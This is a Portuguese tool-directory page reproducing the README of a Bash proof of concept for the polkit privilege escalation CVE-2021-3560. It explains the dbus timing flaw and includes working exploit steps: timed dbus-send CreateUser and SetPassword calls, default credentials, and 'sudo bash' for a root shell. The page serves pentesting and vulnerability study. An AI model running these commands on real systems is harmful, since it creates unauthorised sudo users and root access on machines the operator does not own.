Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-3560-Polkit-Privilege-Esclation — PoC automatizado em Bash para escalonamento de privilégios do polkit CVE-2021-3560. Explora ataque de timing do dbus para injetar um usuário sudo e obter shell root em distribuições Linux vulneráveis. | Kitploit
Ferramentas/GitHubGitHub/secnigma/cve-2021-3560-polkit-privilege-esclation
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoAutenticação
GitHubsecnigma/cve-2021-3560-polkit-privilege-esclation

CVE-2021-3560-Polkit-Privilege-Esclation

PoC automatizado em Bash para escalonamento de privilégios do polkit CVE-2021-3560. Explora ataque de timing do dbus para injetar um usuário sudo e obter shell root em distribuições Linux vulneráveis.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
12451há 3 anosRevisado pelo Kitploit

CVE-2021-3560-Polkit-Privilege-Esclation PoC

Pesquisa original de Kevin Backhouse

Este é apenas um script PoC em Bash, que automatiza as etapas de exploração mencionadas no blog de Kevin Backhouse. Leia o post dele sobre esta vulnerabilidade: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

Uso

root@kitploit:~
USAGE:
     ./poc.sh
     -h --help
     -u=Enter custom username to insert (OPTIONAL)
     -p=Enter custom password to insert (OPTIONAL)
     -f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
     -t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
     Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms 
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'

Coisas a notar:

  • Este exploit funciona apenas em distribuições que tenham instalado accountsservice e gnome-control-center e deve ter a versão polkit 0.113 (ou posterior) OU 0-105-26 (fork Debian do polkit).
  • Este exploit foi testado no Ubuntu 20.04, com polkit versão 0-105-26 (fork Debian do polkit) e no Centos 8 com polkit versão 0.115. Se você tiver certeza de que seu alvo é vulnerável, mas a função de verificação do exploit falhar, use a flag -f=y para ignorar todas as verificações e forçar o exploit.
  • Distribuições como RHEL 8, Fedora 21, Debian testing ("bullseye") e Ubuntu 20.04 são consideradas vulneráveis.

Como o exploit funciona?

Uma explicação abrangente e o PoC para explorar isso manualmente estão detalhados no blog do pesquisador.

Resumo deste exploit é fornecido abaixo:

  • Este ataque requer temporização precisa e precisamos fazer login via SSH (ou alguma sessão de linha de comando onde abrir aplicações gráficas não seja uma opção).
  • Um atacante pode explorar esta vulnerabilidade acionando o polkit enviando uma mensagem dbus, mas fechando a requisição abruptamente, enquanto o polkit está processando a requisição. Então o atacante pode enviar uma segunda requisição com o identificador único de barramento da requisição anterior, para executar a requisição como UID 0, também conhecido como root.
  • Esta vulnerabilidade existe no polkit, porque ele trata o UID de uma conexão com um identificador de barramento que não existe mais, como uma requisição do UID 0. Isso significa que, se conseguirmos temporizar o ataque corretamente e encerrar nossa primeira requisição no momento certo, então podemos fazer a segunda requisição com os privilégios do UID 0, também conhecido como root.
  • A temporização para encerrar a conexão é calculada como o tempo necessário para enviar a mensagem dbus / 2. Explicado em detalhes aqui.

O que este script realmente faz?

Como eu disse antes, este é apenas um script bash que automatiza o PoC de Kevin Backhouse. Os comandos principais são os mesmos; apenas automatizei algumas etapas iniciais (como acertar a temporização, escanear por vulnerabilidade, inserir credenciais personalizadas, imprimir cores bonitas, etc.).

Se este script for executado sem nenhum parâmetro, o comportamento padrão é o seguinte:

  • Verifica o tipo de distribuição. [Usando o arquivo /etc/os-release.]
  • Verifica a instalação de accountservice e gnome-control-center. [Em rhel/centos/fedora, usa rpm -qa e em distribuições debian/ubuntu, usa dpkg -l].
  • Se as instalações forem encontradas, o script verifica a versão do polkit. [0.113 (ou posterior) para rhel.centos,fedora e 0-105-26 para Debian/Ubuntu]
  • Se a versão do polkit for considerada vulnerável, o script inicia a exploração.
  • Primeiro, o script encontra o tempo necessário para enviar a requisição usando dbus-send executando bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null
Baixar ferramenta
  • Uma lista de compatibilidade de distribuições pode ser encontrada no blog do Kevin.
  • Este script insere um novo usuário no grupo sudo. Se o exploit funcionar, podemos fazer login na conta usando su - <username> com a senha fornecida ao script e, em seguida, digitar sudo bash para obter um shell root!
  • Como este ataque depende de temporização precisa, MÚLTIPLAS TENTATIVAS SÃO GERALMENTE NECESSÁRIAS para que o exploit funcione.
  • AVISO: NÃO EXECUTE ESTE SCRIPT EM LOGIN GRÁFICO!
  • Se este script for executado em um ambiente de login gráfico, o loop ficará exibindo repetidamente a autenticação do polkit. Portanto, execute este exploit apenas dentro de um shell SSH/NC.
  • Se isso acontecer, pressione a tecla Esc para fechar o prompt de autenticação e Ctrl+C para encerrar o script rapidamente.
  • Então, o tempo para encerrar a requisição ($t) é calculado dividindo o tempo necessário para a requisição por 2. ($t=tempo-necessário-para-requisição/2) [Calculado usando awk]
  • Após o tempo ($t) ser calculado, a requisição para inserir o $username secnigma no alvo é repetida 20 vezes. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $!
  • Se a inserção do usuário for bem-sucedida, [verificado usando id secnigma], então um hash de senha é gerado [usando bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)
  • Então o comando de inserção do hash de senha é executado por 20 vezes. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!